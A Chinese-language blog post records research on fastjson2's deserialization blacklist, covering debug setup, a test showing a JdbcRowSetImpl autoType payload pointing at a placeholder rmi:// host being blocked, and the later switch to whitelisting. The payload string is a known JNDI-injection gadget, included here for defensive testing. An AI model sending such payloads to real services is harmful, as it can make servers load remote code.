fastjson2 黑名单研究记录

下文中fastjson1和fastjson2以fj1和fj2进行简称

1)黑名单分析

首先参考: https://github.com/LeadroyaL/fastjson-blacklist

在fj1之中黑名单名为 denyHashCodes 在fj2之中也是一样,存储在 ObjectReaderProvider.java 之中

为了方便调试我们可以将fj2里 NotSupportAutoTypeErrorTest.java 中的 test2 改为以下代码

@Test
public void test2() {
    Bean bean = new Bean(Arrays.asList(new Int1()));
    String str = JSON.toJSONString(bean, JSONWriter.Feature.WriteClassName);
    Bean bean2 = (Bean)JSON.parseObject(str, Object.class, JSONReader.Feature.SupportAutoType);
    assertThrows(JSONException.class, () -> JSON.parseObject(str, Object.class, JSONReader.Feature.ErrorOnNotSupportAutoType));
}

参考: https://github.com/alibaba/fastjson2/wiki/fastjson2_autotype_cn 

Bean bean2 = (Bean)JSON.parseObject(str, Object.class, JSONReader.Feature.SupportAutoType);

增加上面这一行代码进行反序列化操作

 

2)启动调试

在匹配白名单的地方下断点(fj2先对比白名单后对比黑名单)

然后用调试模式启动test2

成功了,我们就可以调试了

 

3)调试攻击代码

我们使用fj1里   \fastjson\src\test\java\com\alibaba\json\bvt\parser\autoType\AutoTypeTest2_deny.java  中的代码进行修改,放入fj2测试用例里的并使用fj2的函数进行反序列化

@Test
public void test_0() throws Exception {
    Bean bean2;
    String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ip:port/Object\",\"autoCommit\":true}";

    Exception error = null;
    try {
        bean2 = (Bean)JSON.parseObject(str, Object.class, JSONReader.Feature.SupportAutoType);
    } catch (Exception ex) {
        error = ex;
    }

    System.out.println(error);
}

如下图成功拦截

 

4)分析逻辑

其实fj2的安全风险和XXE漏洞没有本质区别,反序列化和XML中实体必须通过严谨的鉴权后才能执行,否则默认情况下原则禁止外部请求使用该操作。fj1就是违反了该设计原则导致漏洞反复出现。

 

5)后续发展

通过以下提交代码可以看出fj2的2.0.38到2.0.39之间,fj2去掉了黑名单,在反序列化方面彻底白名单化

https://github.com/alibaba/fastjson2/commit/f7d91ae3d003f185151feea380f9319df2610c17

posted @ 2023-03-26 00:06  国产大熊猫~  阅读(360)  评论(0编辑  收藏  举报